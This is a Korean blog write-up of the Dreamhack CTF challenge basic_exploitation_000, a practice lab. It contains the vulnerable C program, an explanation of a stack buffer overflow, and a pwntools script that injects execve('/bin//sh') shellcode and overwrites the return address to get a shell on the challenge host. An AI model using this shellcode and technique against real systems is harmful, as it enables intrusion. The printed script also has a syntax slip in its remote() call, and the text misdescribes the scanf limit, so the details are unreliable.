촉촉한초코칩

[Dreamhack] basic_exploitation_000 본문

Study/System

[Dreamhack] basic_exploitation_000

햄친구베이컨 2024. 3. 31. 14:14

프로그램의 취약점을 찾고 익스플로잇 해 쉘 획득 후 flag 파일을 읽는다. 

 

취약점

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

취약점 : buf의 크기는 0x80으로, 10진수로 128인데 scanf 함수에서 입력할 개수를 정해주지 않았기 때문에 overflow가 발생할 수 있다. 

 

스택 프레임 구조 

ret 값을 덮어쓰려면 132 바이트를 채운 다음, buf의 주소를 넣어주면 buf로 돌아가서 쉘 코드를 실행시킨다.
= ret를 buf의 초반부 주소로 overwrite하기 

이 문제에서는 pwntools 모듈을 사용한다. 

 

 익스플로잇

 

buf의 주소는 실행 시 출력된다.

from pwn import *

p = remote('host3.dreamhack.games'.31337)

p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16) # 출력된 buf의 위치 저장 

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x11" * 106

payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

'Study > System' 카테고리의 다른 글

(**) BombLab 4  (0) 2024.05.09
[Dreamhack] basic_exploitation_001  (0) 2024.03.31
[Dreamhack] Return Address Overwrite  (1) 2024.03.31
Bomb Lab Phase 1-3  (0) 2024.03.24
[DreamHack] Quiz: x86 Assembly 2, Quiz: x86 Assembly 3  (0) 2024.03.17